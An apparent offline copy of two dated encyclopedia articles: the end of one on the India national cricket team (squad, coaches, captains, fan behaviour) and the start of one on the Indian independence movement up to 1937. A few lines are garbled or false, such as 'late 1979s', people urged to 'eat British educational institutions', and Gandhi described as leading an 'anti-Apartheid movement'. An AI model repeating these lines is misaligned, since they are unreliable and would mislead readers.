              	West

              	D

              	27
            


            
              	Seamers
            


            
              	Ajit Agarkar

              	Right Hand Bat

              	Right Fast Medium

              	Mumbai

              	West

              	C

              	68
            


            
              	Joginder Sharma

              	Right Hand Bat

              	Right Medium Fast

              	Haryana

              	North

              	D

              	23
            


            
              	R. P. Singh

              	Right Hand Bat

              	Left Medium Fast

              	Uttar Pradesh

              	Central

              	B

              	9
            


            
              	Shanthakumaran Sreesanth

              	Right Hand Bat

              	Right Fast Medium

              	Kerala

              	South

              	B

              	58
            


            
              	Munaf Patel

              	Right Hand Bat

              	Right Medium Fast

              	Maharashtra

              	West

              	C

              	48
            


            
              	Zaheer Khan

              	Right Hand Bat

              	Left Medium Fast

              	Mumbai

              	West

              	A

              	34
            


            
              	Ishant Sharma

              	Right Hand Bat

              	Right Fast Medium

              	Delhi

              	North

              	D

              	N/A
            


            
              	Praveen Kumar

              	Right Hand Bat

              	Right Medium

              	Uttar Pradesh

              	Central

              	D

              	N/A
            


            
              	Spin Bowlers
            


            
              	Harbhajan Singh

              	Right Hand Bat

              	Off Break

              	Punjab

              	North

              	B

              	35
            


            
              	Ramesh Powar

              	Right Hand Bat

              	Off Break

              	Mumbai

              	West

              	C

              	32
            


            
              	Piyush Chawla

              	Left Hand Bat

              	Leg Break

              	Uttar Pradesh

              	Central

              	C

              	11
            


            
              	Murali Kartik

              	Left Hand Bat

              	Slow Left Arm

              	Railways

              	Central

              	D

              	25
            

          


          


          Coaching Staff


          
            	Head Coach: Gary Kirsten


            	Assistant Coach: Lalchand Rajput


            	Bowling Coach: Venkatesh Prasad


            	Fielding Coach: Robin Singh


            	Fitness Trainer: Gregory King


            	Physiotherapist: John Gloster


            	Masseur: Ramesh Mane


            	Computer Analyst: Subramanian Ramakrishnan

          


          


          Captains


          Twenty-eight men have captained the Indian cricket team in at least 1 Test match, although only 6 have led the team in more than 25 matches, and 5 have captained the team in ODIs but not Tests. India's first captain was CK Nayudu, who led the team in four matches against England, one in England in 1932 and a series of 3 matches at home in 1933/4. Lala Amarnath, India's fourth captain, led the team in its first Test match after Indian independence. He also captained the side to its first Test victory and first series win, both in a 3-match series at home against Pakistan in 1952/3. The Nawab of Pataudi was captain for 36 matches from 1961/2 to 1969/70, returning for a final 4 matches against West Indies in 1974/5.


          India played its first ODI in 1974, under the captaincy of Ajit Wadekar. India won its first ODI under the captaincy of Srinivasaraghavan Venkataraghavan in the 1975 Cricket World Cup, against East Africa.


          Sunil Gavaskar took over as Test and ODI captain in the late 1979s and early 1980s, leading India in 47 Test matches and 38 ODIs, winning 9 Tests and 14 ODIs. He was succeeded by Kapil Dev in the 1980s, who continued for 34 Test matches, including 4 victories. Kapil Dev led India to victory in 40 of his 74 ODIs in charge, including the 1983 Cricket World Cup.


          India has had only four regular Test captains since Mohammad Azharuddin took charge in 1989. Azharuddin led the team in 47 Test matches from 1989/90 to 1998/9, winning 14, and in 173 ODIs, winning 89. He was followed by Sachin Tendulkar, who captained India in 25 Test matches and 73 ODIs in the late 1990s; Tendulkar was relatively unsuccessful as a captain, winning only 4 Test matches and 23 ODIs. He was replaced as ODI captain by Ajay Jadeja and then Sourav Ganguly; Ganguly became the regular captain in both forms of cricket in 2000. Ganguly remained captain for the first 5 years of the 2000s and was much more successful, winning 21 of his 49 Test matches in charge and 73 of his 141 ODIs. Rahul Dravid took over as Test captain in 2005. In his fourth full series in charge, he led India to victory in the West Indies, the first instance of India winning in the Caribbean in over 30 years. In September 2007, Mahendra Singh Dhoni was named as the new captain of the Twenty20 and ODI team after Dravid stepped down from the post. The current test captain is Anil Kumble.


          


          Fan following


          Cricket is the de facto national sport of India and has a very wide following among the population of India. As a result, stadiums are generally filled to capacity at matches on home soil. Due to large Indian diaspora in nations like Australia, South Africa, and England, a large Indian fan turnout is expected whenever India plays in each of these nations.


          There have been a number of official fan groups that have been formed over the years, including the Swami Army or Bharat Army, the Indian equivalent of the Barmy Army, that were very active in their support when India toured Australia in 2003/2004. They are known to attribute a number of popular Indian songs to the cricket team.


          Fan rivalry and cross-border tension has created a strong rivalry between the Indian cricket team and the Pakistani cricket team. This has made matches between these two nations the subcontinental above the Ashes. In tours between these two nations, cricket visas are often employed to accommodate for the tens of thousands of fans wishing to cross the border to watch cricket. This intense fan dedication is one of the major causes of the Indian Cricket Board's (BCCI) financial success.


          However, there are downsides to having such a cricket-loving population. Many Indians hold cricket very close to their hearts and losses are not received well by the Indian population. In some cases, particularly after losses to Pakistan or after a long string of weak performances, there have been reports of player effigies being burnt in the streets and vandalism of player homes. In many cases, players have come under intense attention from the media for negative reasons, this has been considered as one of the reasons for Sourav Ganguly being left out of the Indian team. At times, when a match is surrounded by controversy, it has resulted in a debacle. For example, when India slid to defeat against Australia at Brabourne Stadium in 1969, fans began throwing stones and bottles onto the field as well as setting fire to the stands. A similar event occurred during the Cricket World Cup in 1996, where India were losing the semi-final to Sri Lanka at Eden Gardens. In this case, the fan behaviour was directed at the Indian team in disappointment at their lacklustre performance. An armed guard had to be placed at the home of captain Mohammad Azharuddin to ensure his safety. Indian fans have also been passionate in their following of Sachin Tendulkar, who has been commonly thought of as one of the best batsmen in the world. Glorified for the bulk of his career, a riot occurred in early 1999 in a Test against Pakistan at Eden Gardens after a collision with Pakistani paceman Shoaib Akhtar saw him run out, forcing police to eject spectators and the game to be played in an empty stadium. In more recent times, a string of low scores has resulted in continued impatience amongst fans. In front of his home crowd, against England, Tendulkar was booed by the crowd when he got out.


          Often, fans quickly come to the defense of players who have been accused of wrongdoings or dropped from the team. In 2005, when Sourav Ganguly was dropped due to lack of form, Ganguly's home state of West Bengal erupted in protests. India later played a match against South Africa in Kolkata, West Bengal. The Indian team was booed by the crowd who supported South Africa instead of India in response to Ganguly's dropping. Similar regional divisions in India regarding selection have also caused protests against the team, with political activists from the regional Kalinga Kamgar Sena party in Orissa disrupting the arrival of the team in Cuttack for an ODI over the lack of an Orissan player in the team, with one player manhandling coach Greg Chappell. Similar treatment was handed to India's Marathi captain Sunil Gavaskar in the 1980s by Bengali crowds, with consecutive Tests in Calcutta requiring police intervention due to crowd rioting.


          However, it should be noted that a successful string of results, victories against arch-rivals Pakistan or victory in major tournaments such as the World Cup are greeted with particular ecstasy from the Indian fans. In 2007 crowds at the One Day Series at Vadodara, Nagpur and Mumbai were seen to racially abuse Australian cricketer Andrew Symonds with monkey chants. After the BBCI initially denied the incident at Vadodara took place , further incidents at other grounds in the series proved the allegations correct.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/India_national_cricket_team"
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        Indian independence movement
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                History of South Asia

                (Indian Subcontinent)


              
            


            
              	Stone Age

              	70,0003300 BCE
            


            
              	 Mehrgarh Culture

              	 70003300 BCE
            


            
              	Indus Valley Civilization

              	33001700 BCE
            


            
              	Late Harappan Culture

              	17001300 BCE
            


            
              	Vedic period

              	1500500 BCE
            


            
              	Iron Age

              	1200300 BCE
            


            
              	 Maha Janapadas

              	 700300 BCE
            


            
              	 Magadha Empire

              	 545 BCE - 550
            


            
              	 Maurya Empire

              	 321184 BCE
            


            
              	Middle Kingdoms

              	250 BCE1279 CE
            


            
              	 Chola Empire

              	 250 BCE1070 CE
            


            
              	 Satavahana

              	 230 BCE220 CE
            


            
              	 Kushan Empire

              	 60240 CE
            


            
              	 Gupta Empire

              	 280550 CE
            


            
              	 Pala Empire

              	 7501174 CE
            


            
              	 Chalukya Dynasty

              	 543753 CE
            


            
              	 Rashtrakuta

              	 753982 CE
            


            
              	 Western Chalukya Empire

              	 9731189 CE
            


            
              	 Hoysala Empire

              	10401346
            


            
              	 Kakatiya Empire

              	10831323
            


            
              	Islamic Sultanates

              	12061596
            


            
              	 Delhi Sultanate

              	 12061526
            


            
              	 Deccan Sultanates

              	 14901596
            


            
              	Ahom Kingdom

              	12281826
            


            
              	Vijayanagara Empire

              	13361646
            


            
              	Mughal Empire

              	15261858
            


            
              	Maratha Empire

              	16741818
            


            
              	Sikh Confederacy

              	17161799
            


            
              	Sikh Empire

              	18011849
            


            
              	British East India Company

              	17571858
            


            
              	British Raj

              	18581947
            


            
              	Modern States

              	1947present
            


            
              	Nation histories

              Bangladesh  Bhutan  Republic of India

              Maldives  Nepal  Pakistan  Sri Lanka
            


            
              	Regional histories

              Assam  Balochistan  Bengal

              Himachal Pradesh  Orissa  Pakistani Regions

              North India  South India  Tibet
            


            
              	Specialised histories

              Coinage  Dynasties  Economy

              Indology  Language  Literature  Maritime

              Military  Science and Technology  Timeline
            


            
              	
            

          


          The term "Indian independence movement" is diffused, incorporating various national and regional campaigns, agitations and efforts of both Nonviolent and Militant philosophy and involved a wide spectrum of Indian political organizations, philosophies, and movements which had the common aim of ending the British Colonial Authority as well as other colonial administrations in the Indian subcontinent. The initial resistance to the movement can be traced back to the very beginnings of Colonial Expansion in Karnataka by the Portuguese in the 16th century and by the British East India Company in Northern India, in the middle and late 1700s. The mainstream movement from the latter part of the 1800s was increasingly led by the Indian National Congress with prominent moderate leaders seeking only Dominion status within the commonwealth. Beginning of early 1900s saw a more radical approach towards political independence proposed by leaders as the Lal Bal Pal and Sri Aurobindo. Militant nationalism also emerged in the first decades, culminating in the failed Indo-German Pact and Ghadar Conspiracy during the World War I. The end of the war saw the Congress adopt the policies of nonviolent agitation and civil disobedience led by Mahatma Gandhi. Other leaders, such as Netaji Subhash Chandra Bose, later came to adopt a military approach to the movement. The World War II period saw the peak of the movements like INA movement led by Netaji Subhas Chandra Bose from East Asia and Quit India movement.


          India remained a Dominion of The Crown till 26 January 1950, when it adopted its Constitution to proclaim itself a Republic. Pakistan proclaimed itself a Republic in 1956 but faced a number of internal power struggles that has seen suspensions of democracy. In 1971, the Pakistani Civil War culminating in the 1971 War saw the splintering-off of East Pakistan into the nation of Bangladesh.


          The independence movement also served as a major catalyst for similar movements in other parts of the world, leading to the eventual disintegration and dismantling of the British Empire and its replacement with the Commonwealth of Nations. Gandhi's philosophy of nonviolent resistance inspired the American Civil Rights Movement (1955-1968) led by Martin Luther King, Jr., the quest for democracy in Myanmar led by Aung San Suu Kyi and the African National Congress's struggle against apartheid in South Africa led by Nelson Mandela. However not all these leaders adhered to Gandhi's strict principle of nonviolence and nonresistance.


          


          European rule


          
            [image: Robert Clive, 1st Baron Clive with Mir Jafar after the Battle of Plassey]

            
              Robert Clive, 1st Baron Clive with Mir Jafar after the Battle of Plassey
            

          


          European traders came to Indian shores with the arrival of the Portuguese explorer Vasco da Gama in 1498 at the port of Calicut in search of the lucrative spice trade. After the 1757 Battle of Plassey, during which the British army under Robert Clive defeated the Nawab of Bengal, the British East India Company established itself. This is widely seen as the beginning of the British Raj in India. The Company gained administrative rights over Bengal, Bihar, and Orissa in 1765 after the Battle of Buxar. They then annexed Punjab in 1849 after the death of Maharaja Ranjit Singh in 1839 and the First Anglo-Sikh War (18451846) and then the Second Anglo-Sikh War (184849).


          The British parliament enacted a series of laws to handle the administration of the newly-conquered provinces, including the Regulating Act of 1773, the India Act of 1784, and the Charter Act of 1813; all enhanced the British government's rule. In 1835 English was made the medium of instruction. Western-educated Hindu elites sought to rid Hinduism of controversial social practices, including the varna (caste) system, child marriage, and sati. Literary and debating societies initiated in Bombay and Madras became fora for open political discourse. The educational attainment and skillful use of the press by these early reformers created the growing possibility for effecting broad reforms within colonial India, all without compromising larger Indian social values and religious practices.


          Even while these modernising trends influenced Indian society, Indians increasingly despised British rule. The memoirs of Henry Ouvry of the 9th Lancers record many "a good thrashing" to careless servants. A spice merchant, Frank Brown, wrote to his nephew that stories of maltreatment of servants had not been exaggerated and that he knew people who kept orderlies "purposely to thrash them". As the British increasingly dominated the continent, they grew increasingly abusive of local customs by, for example, staging parties in mosques, dancing to the music of regimental bands on the terrace of the Taj Mahal, using whips to force their way through crowded bazaars (as recounted by General Henry Blake), and mistreating sepoys. In the years after the annexation of Punjab in 1849, several mutinies among sepoys broke out; these were put down by force.


          


          Regional movements prior to 1857


          
            	See also: Sannyasi Rebellionand Conspiracy Of The Pintos and Polygar Wars

          


          Several regional movements against foreign rule were staged in various parts of pre-1857 India. However, they were not united and were easily controlled by the foreign rulers. Examples include the rebellion of Abbakka Rani in Karnataka from 1555 to 1570 against the Portuguese, Sannyasi Rebellion in Bengal in the 1770s, the 1787 ethnic revolt against Portuguese control of Goa known as the Conspiracy Of The Pintos, the revolt of Titumir in Bengal in 1830's and uprisings by South Indian local chieftains like Veerapandya Kattabomman against British rule. Other movements included the Santal Rebellion and the resistance offered to the British by Titumir in Bengal, the Kittur Rebellion led by Rani Chennamma in Karnataka, Polygar Wars in Tamil Nadu, Kutch Rebellion in Saurashtra.


          


          The Indian Rebellion of 1857
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          The Indian Rebellion of 1857 was a period of uprising in the northern and central India against British rule in 185758. The rebellion was the result of decades of ethnic and cultural differences between Indian soldiers and their British officers. The indifference of the British towards Indian rulers like the Mughals and ex- Peshwas and the annexation of Oudh were political factors triggering dissent amongst Indians. Dalhousies policy of annexation, the doctrine of lapse or escheat, and the projected removal of the descendants of the Great Mughal from their ancestral palace to the Qutb, near Delhi also angered some people. The specific reason that triggered the rebellion was the rumoured use of cow and pig fat in .557 calibre Pattern 1853 Enfield (P/53) rifle cartridges. Soldiers had to break the cartridges with their teeth before loading them into their rifles. So if there was cow and pig fat, it would be offensive to Hindu and Muslim soldiers, respectively. In February 1857, sepoys (Indian soldiers in the British army) refused to use their new cartridges. The British claimed to have replaced the cartridges with new ones and tried to make sepoys make their own grease from beeswax and vegetable oils, but the rumour persisted.


          In March 1857, Mangal Pandey, a soldier of the 34th Native Infantry in Barrackpore, attacked his British sergeant and wounded an adjutant. General Hearsay, who said Pandey was in some kind of "religious frenzy," ordered a jemadar to arrest him but the jemadar refused. Mangal Pandey was hanged on 7 April along with the jemadar. The whole regiment was dismissed as a collective punishment. On May 10, when the 11th and 20th Cavalry assembled, they broke rank and turned on their commanding officers. They then liberated the 3rd Regiment, and on 11 May the sepoys reached Delhi and were joined by other Indians. The Red Fort, the residence of the last Mughal emperor Bahadur, was attacked and captured by the sepoys. They demanded that he reclaim his throne. He was reluctant at first, but eventually agreed to the demands and became the leader of the rebellion.


          Soon, the revolt spread throughout northern India. Revolts broke out in places like Meerut, Jhansi, Kanpur, Lucknow etc. The British were slow to respond, but eventually responded with brute force. British moved regiments from the Crimean War and diverted European regiments headed for China to India. The British fought the main army of the rebels near Delhi in Badl-ke-Serai and drove them back to Delhi before laying siege on the city. The siege of Delhi lasted roughly from 1 July to 31 August. After a week of street fighting, the British retook the city. The last significant battle was fought in Gwalior on 20 June 1858. It was during this battle that Rani Lakshmi Bai was killed. Sporadic fighting continued until 1859 but most of the rebels were subdued. Some notable leaders were Ahmed Ullah, an advisor of the ex-King of Oudh; Nana Sahib; his nephew Rao Sahib and his retainers, Tantia Topi and Azimullah Khan; the Rani of Jhansi; Kunwar Singh; the Rajput chief of Jagadishpur in Bihar; Firuz Saha, a relative of the Mughal Emperor, Bahadur Shah and Pran Sukh Yadav who along with Rao Tula Ram of Rewari fought with Britishers at Nasibpur, Haryana.


          


          Aftermath


          The war of 1857 was a major turning point in the history of modern India. The British abolished the British East India Company and replaced it with direct rule under the British crown. A Viceroy was appointed to represent the Crown. In proclaiming the new direct-rule policy to "the Princes, Chiefs, and Peoples of India," Queen Victoria promised equal treatment under British law, but Indian mistrust of British rule had become a legacy of the 1857 rebellion.


          The British embarked on a program in India of reform and political restructuring, trying to integrate Indian higher castes and rulers into the government. They stopped land grabs, decreed religious tolerance and admitted Indians into the civil service, albeit mainly as subordinates. They also increased the number of British soldiers in relation to native ones and allowed only British soldiers to handle artillery. Bahadur Shah was exiled to Rangoon, Burma where he died in 1862, finally bringing the Mughal dynasty to an end. In 1877, Queen Victoria took the title of Empress of India.


          


          Rise of organized movements


          The decades following the Sepoy Rebellion were a period of growing political awareness, manifestation of Indian public opinion and emergence of Indian leadership at national and provincial levels. Dadabhai Naoroji formed East India Association in 1867, and Surendranath Banerjee founded Indian National Association in 1876. Inspired by a suggestion made by A.O. Hume, a retired British civil servant, seventy-three Indian delegates met in Bombay in 1885 and founded the Indian National Congress. They were mostly members of the upwardly mobile and successful western-educated provincial elites, engaged in professions such as law, teaching, and journalism. At its inception, the Congress had no well-defined ideology and commanded few of the resources essential to a political organization. It functioned more as a debating society that met annually to express its loyalty to the British Raj and passed numerous resolutions on less controversial issues such as civil rights or opportunities in government, especially the civil service. These resolutions were submitted to the Viceroy's government and occasionally to the British Parliament, but the Congress's early gains were meagre. Despite its claim to represent all India, the Congress voiced the interests of urban elites; the number of participants from other economic backgrounds remained negligible.


          The influences of socio-religious groups such as Arya Samaj (started by Swami Dayanand Saraswati) and Brahmo Samaj (founded, among others, by Raja Ram Mohan Roy) became evident in pioneering reform of Indian society. The inculcation of religious reform and social pride was fundamental to the rise of a public movement for complete nationhood. The work of men like Swami Vivekananda, Ramakrishna Paramhansa, Sri Aurobindo, Subramanya Bharathy, Bankim Chandra Chatterjee, Sir Syed Ahmed Khan, Rabindranath Tagore and Dadabhai Naoroji spread the passion for rejuvenation and freedom.


          By 1900, although the Congress had emerged as an all-India political organization, its achievement was undermined by its singular failure to attract Muslims, who felt that their representation in government service was inadequate. Attacks by Hindu reformers against religious conversion, cow slaughter, and the preservation of Urdu in Arabic script deepened their concerns of minority status and denial of rights if the Congress alone were to represent the people of India. Sir Syed Ahmed Khan launched a movement for Muslim regeneration that culminated in the founding in 1875 of the Muhammadan Anglo-Oriental College at Aligarh, Uttar Pradesh (renamed Aligarh Muslim University in 1921). Its objective was to educate wealthy students by emphasizing the compatibility of Islam with modern western knowledge. The diversity among India's Muslims, however, made it impossible to bring about uniform cultural and intellectual regeneration.


          


          Rise of Indian nationalism


          The first spurts of nationalistic sentiment that rose amongst Congress members were when the desire to be represented in the bodies of government, to have a say, a vote in the lawmaking and issues of administration of India. Congressmen saw themselves as loyalists, but wanted an active role in governing their own country, albeit as part of the Empire. This trend was personified by Dadabhai Naoroji, who went as far as contesting, successfully, an election to the British House of Commons, becoming its first Indian member.


          Bal Gangadhar Tilak was the first Indian nationalist to embrace Swaraj as the destiny of the nation. Tilak deeply opposed the British education system that ignored and defamed India's culture, history and values. He resented the denial of freedom of expression for nationalists, and the lack of any voice or role for ordinary Indians in the affairs of their nation. For these reasons, he considered Swaraj as the natural and only solution. His popular sentence "Swaraj is my birthright, and I shall have it" became the source of inspiration for Indians.


          In 1907, the Congress was split into two. Tilak advocated what was deemed as extremism. He wanted a direct assault by the people upon the British Raj, and the abandonment of all things British. He was backed by rising public leaders like Bipin Chandra Pal and Lala Lajpat Rai, who held the same point of view. Under them, India's three great states - Maharashtra, Bengal and Punjab shaped the demand of the people and India's nationalism. Gokhale criticized Tilak for encouraging acts of violence and disorder. But the Congress of 1906 did not have public membership, and thus Tilak and his supporters were forced to leave the party.


          But with Tilak's arrest, all hopes for an Indian offensive were stalled. The Congress lost credit with the people, A Muslim deputation met with the Viceroy, Minto (190510), seeking concessions from the impending constitutional reforms, including special considerations in government service and electorates. The British recognised some of Muslim League's petitions by increasing the number of elective offices reserved for Muslims in the Government of India Act 1909. The Muslim League insisted on its separateness from the Hindu-dominated Congress, as the voice of a "nation within a nation."


          


          Partition of Bengal


          In 1905, Curzon, the Viceroy and Governor-General (18991905), ordered the partition of the province of Bengal for improvements in administrative efficiency in that huge and populous region, where the Bengali Hindu intelligentsia exerted considerable influence on local and national politics. The partition outraged Bengalis. Not only had the government failed to consult Indian public opinion, but the action appeared to reflect the British resolve to divide and rule. Widespread agitation ensued in the streets and in the press, and the Congress advocated boycotting British products under the banner of swadeshi. People showed unity by tying Rakhi on each other's wrists and observing Arandhan (not cooking any food).


          During the partition of Bengal new methods of struggle were adopted. These led to swadeshi and boycott movements. The Congress-led boycott of British goods was so successful that it unleashed anti-British forces to an extent unknown since the Sepoy Rebellion. A cycle of violence and repression ensued in some parts of the country (see Alipore bomb case). The British tried to mitigate the situation by announcing a series of constitutional reforms in 1909 and by appointing a few moderates to the imperial and provincial councils. In what the British saw as an additional goodwill gesture, in 1911 King-Emperor George V visited India for a durbar (a traditional court held for subjects to express fealty to their ruler), during which he announced the reversal of the partition of Bengal and the transfer of the capital from Calcutta to a newly planned city to be built immediately south of Delhi, which later became New Delhi. However, ceremony of transfer on 23 December 1912 was marked by the attempt to assassinate the then Viceroy, Lord Hardinge, in what came to be known as the Delhi-Lahore conspiracy.


          


          World War I


          World War I began with an unprecedented outpouring of loyalty and goodwill towards the United Kingdom from within the mainstream political leadership, contrary to initial British fears of an Indian revolt. India contributed massively to the British war effort by providing men and resources. About 1.3 million Indian soldiers and labourers served in Europe, Africa, and the Middle East, while both the Indian government and the princes sent large supplies of food, money, and ammunition. However, Bengal and Punjab remained hotbeds of anti colonial activities. Terrorism in Bengal, increasingly closely linked with the unrests in Punjab, was significant enough to nearly paralyse the regional administration. Also from the beginning of the war, expatriate Indian population, notably from United States, Canada, and Germany, headed by the Berlin Committee and the Ghadar Party, attempted to trigger insurrections in India on the lines of the 1857 uprising with Irish Republican, German and Turkish help in a massive conspiracy that has since come to be called the Hindu German conspiracy This conspiracy also attempted to rally Afghanistan against British India. A number of failed attempts were made at mutiny, of which the February mutiny plan and the Singapore mutiny remains most notable. This movement was suppressed by means of a massive international counter-intelligence operation and draconian political acts (including the Defence of India act 1915) that lasted nearly ten years.


          In the aftermath of the WW I, high casualty rates, soaring inflation compounded by heavy taxation, a widespread influenza epidemic, and the disruption of trade during the war escalated human suffering in India. The Indian soldiers smuggled arms into India to overthrow the British rule. The prewar nationalist movement revived as moderate and extremist groups within the Congress submerged their differences in order to stand as a unified front. In 1916, the Congress succeeded in forging the Lucknow Pact, a temporary alliance with the Muslim League over the issues of devolution of political power and the future of Islam in the region.


          The British themselves adopted a "carrot and stick" approach in recognition of India's support during the war and in response to renewed nationalist demands. In August 1917, Edwin Montagu, the secretary of state for India, made the historic announcement in Parliament that the British policy for India was "increasing association of Indians in every branch of the administration and the gradual development of self-governing institutions with a view to the progressive realization of responsible government in India as an integral part of the British Empire." The means of achieving the proposed measure were later enshrined in the Government of India Act 1919, which introduced the principle of a dual mode of administration, or diarchy, in which both elected Indian legislators and appointed British officials shared power. The act also expanded the central and provincial legislatures and widened the franchise considerably. Diarchy set in motion certain real changes at the provincial level: a number of non-controversial or "transferred" portfolios, such as agriculture, local government, health, education, and public works, were handed over to Indians, while more sensitive matters such as finance, taxation, and maintaining law and order were retained by the provincial British administrators.


          


          Gandhi arrives in India


          Mahatma Gandhi had been a prominent leader of the anti-Apartheid movement in South Africa, and had been a vocal opponent of basic discrimination and abusive labour treatment as well as suppressive police control such as the Rowlatt Acts. During these protests, Gandhi had perfected the concept of satyagraha, which had been inspired by the philosophy of Baba Ram Singh (famous for leading the Kuka Movement in the Punjab in 1872). The end of the protests in South Africa saw oppressive legislation repealed and the release of political prisoners by General Jan Smuts, head of the South African Government of the time.


          Gandhi, a stranger to India and its politics after twenty years, had initially entered the fray not with calls for a nation-state, but in support of the unified commerce-oriented territory that the Congress Party had been asking for. Gandhi believed that the industrial development and educational development that the Europeans had brought with them were required to alleviate many of India's problems. Gopal Krishna Gokhale, a veteran Congressman and Indian leader, became Gandhi's mentor. Gandhi's ideas and strategies of non-violent civil disobedience initially appeared impractical to some Indians and Congressmen. In Gandhi's own words, "civil disobedience is civil breach of unmoral statutory enactments." It had to be carried out non-violently by withdrawing cooperation with the corrupt state. Gandhi's ability to inspire millions of common people became clear when he used satyagraha during the anti-Rowlatt Act protests in Punjab.


          Gandhis vision would soon bring millions of regular Indians into the movement, transforming it from an elitist struggle to a national one. The nationalist cause was expanded to include the interests and industries that formed the economy of common Indians. For example, in Champaran, Bihar, the Congress Party championed the plight of desperately poor sharecroppers and landless farmers who were being forced to pay oppressive taxes and grow cash crops at the expense of the subsistence crops which formed their food supply. The profits from the crops they grew were insufficient to provide for their sustenance.


          


          The Rowlatt Act and its aftermath


          The positive impact of reform was seriously undermined in 1919 by the Rowlatt Act, named after the recommendations made the previous year to the Imperial Legislative Council by the Rowlatt Commission, which had been appointed to investigate what was termed the " seditious conspiracy" and the German and Bolshevik involvement in the millitant movements in India. The Rowlatt Act, also known as the Black Act, vested the Viceroy's government with extraordinary powers to quell sedition by silencing the press, detaining the political activists without trial, and arresting any individuals suspected of sedition or treason without a warrant. In protest, a nationwide cessation of work ( hartal) was called, marking the beginning of widespread, although not nationwide, popular discontent. The agitation unleashed by the acts culminated on 13 April 1919, in the Jallianwala Bagh massacre (also known as the Amritsar Massacre) in Amritsar, Punjab. The British military commander, Brigadier-General Reginald Dyer, blocked the main entrance, and ordered his soldiers to fire into an unarmed and unsuspecting crowd of some 5,000 men, women and children. They had assembled at Jallianwala Bagh, a walled in courtyard in defiance of the ban. A total of 1,651 rounds were fired, killing 379 people (as according to an official British commission; Indian estimates ranged as high as 1,499) and wounding 1,137 in the episode, which dispelled wartime hopes of home rule and goodwill in a frenzy of post-war reaction.


          


          The Non-cooperation movements


          It can be argued that the independence movement, even towards the end of First World War, was far removed from the masses of India, focusing essentially on a unified commerce-oriented territory and hardly a call for a united nation. That came in the 1930s with the entry of Mohandas Karamchand Gandhi into Indian Politics in 1915.


          


          The first Non cooperation movement


          The first satyagraha movement urged the use of Khadi and Indian material as alternatives to those shipped from Britain. It also urged people to eat British educational institutions and law courts; resign from government employment; refuse to pay taxes; and forsake British titles and honours. Although this came too late to influence the framing of the new Government of India Act of 1919, the movement enjoyed widespread popular support, and the resulting unparalleled magnitude of disorder presented a serious challenges to foreign rule. However, Gandhi called off the movement following the Chauri Chaura incident, which saw the death of twenty-two policemen at the hands of an angry mob.


          In 1920, the Congress was reorganized and given a new constitution, whose goal was Swaraj (independence). Membership in the party was opened to anyone prepared to pay a token fee, and a hierarchy of committees was established and made responsible for discipline and control over a hitherto amorphous and diffuse movement. The party was transformed from an elite organization to one of mass national appeal and participation.


          Gandhi was imprisoned in 1922 for six years, but was released after serving two. On his release from prison, he set up the Sabarmati Ashram in Ahmedabad, on the banks of river Sabarmati, established the newspaper Young India, and inaugurated a series of reforms aimed at the socially disadvantaged within Hindu society - the rural poor, and the untouchables.


          This era saw the emergence of new generation of Indians from within the Congress Party, including C. Rajagopalachari, Jawaharlal Nehru, Vallabhbhai Patel, Subhash Chandra Bose and others- who would later on come to form the prominent voices of the Indian independence movement, whether keeping with Gandhian Values, or diverging from it.


          The Indian political spectrum was further broadened in the mid-1920s by the emergence of both moderate and militant parties, such as the Swaraj Party, Hindu Mahasabha, Communist Party of India and the Rashtriya Swayamsevak Sangh. Regional political organizations also continued to represent the interests of non- Brahmins in Madras, Mahars in Maharashtra, and Sikhs in Punjab. However, brahmin like Mahakavi Subramanya Bharathi, Vanchinathan and Neelakanda Brahmachari played a major role from Tamil Nadu in both freedom struggle and fighting for equality for all castes and communities.


          


          Purna Swaraj


          Following the rejection of the recommendations of the Simon Commission by Indians, an all-party conference was held at Bombay in May 1928. This was meant to instil a sense of resistance among people. The conference appointed a drafting committee under Motilal Nehru to draw up a constitution for India. The Calcutta session of the Indian National Congress asked the British government to accord dominion status to India by December 1929, or a countrywide civil disobedience movement would be launched. By 1929, however, in the midst rising political discontent and increasingly violent regional movements, the call for complete independence from Britain began to find increasing grounds within the Congress leadership. Under the presidency of Jawaharlal Nehru at its historic Lahore session in December 1929, The Indian National Congress adopted a resolution calling for complete independence from the British. It authorised the Working Committee to launch a civil disobedience movement throughout the country. It was decided that 26 January 1930 should be observed all over India as the Purna Swaraj (complete independence) Day. Many Indian political parties and Indian revolutionaries of a wide spectrum united to observe the day with honour and pride. Purna Swaraj has been asked by Bhagat Singh while the hearing of "Bomb blast in parliament to oppose Simon Commission" in supreme court in year 1928, till that time Congress of India was asking for Dominion independence.


          


          Salt March and Civil Disobedience


          Gandhi emerged from his long seclusion by undertaking his most famous campaign, a march of about 400 kilometres from his commune in Ahmedabad to Dandi, on the coast of Gujarat between 12 March and 6 April 1930. The march is usually known as the Dandi March or the Salt Satyagraha. At Dandi, in protest against British taxes on salt, he and thousands of followers broke the law by making their own salt from seawater.


          In April 1930 there were violent police-crowd clashes in Calcutta. Approximately over 100,000 people were imprisoned in the course of the Civil disobedience movement (1930-31), while in Peshawar unarmed demonstrators were fired upon in the Qissa Khwani bazaar massacre. The latter event catapulted the then newly formed Khudai Khidmatgar movement (founder Khan Abdul Ghaffar Khan, the Frontier Gandhi) onto the National scene. While Gandhi was in jail, the first Round Table Conference was held in London in November 1930, without representation from the Indian National Congress. The ban upon the Congress was removed because of economic hardships caused by the satyagraha. Gandhi, along with other members of the Congress Working Committee, was released from prison in January 1931.


          In March of 1931, the Gandhi-Irwin Pact was signed, and the government agreed to set all political prisoners free (Although, some of the key revolutionaries were not set free and the death sentence for Bhagat Singh and his two comrades was not taken back which further intensified the agitation against Congress not only outside it but with in the Congress it self). In return, Gandhi agreed to discontinue the civil disobedience movement and participate as the sole representative of the Congress in the second Round Table Conference, which was held in London in September 1931. However, the conference ended in failure in December 1931. Gandhi returned to India and decided to resume the civil disobedience movement in January 1932.


          For the next few years, the Congress and the government were locked in conflict and negotiations until what became the Government of India Act of 1935 could be hammered out. By then, the rift between the Congress and the Muslim League had become unbridgeable as each pointed the finger at the other acrimoniously. The Muslim League disputed the claim of the Congress to represent all people of India, while the Congress disputed the Muslim League's claim to voice the aspirations of all Muslims.


          


          Elections and the Lahore resolution
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          The Government of India Act 1935, the voluminous and final constitutional effort at governing British India, articulated three major goals: establishing a loose federal structure, achieving provincial autonomy, and safeguarding minority interests through separate electorates. The federal provisions, intended to unite princely states and British India at the centre, were not implemented because of ambiguities in safeguarding the existing privileges of princes. In February 1937, however, provincial autonomy became a reality when elections were held; the Congress emerged as the dominant party with a clear majority in five provinces and held an upper hand in two, while the Muslim League performed poorly.


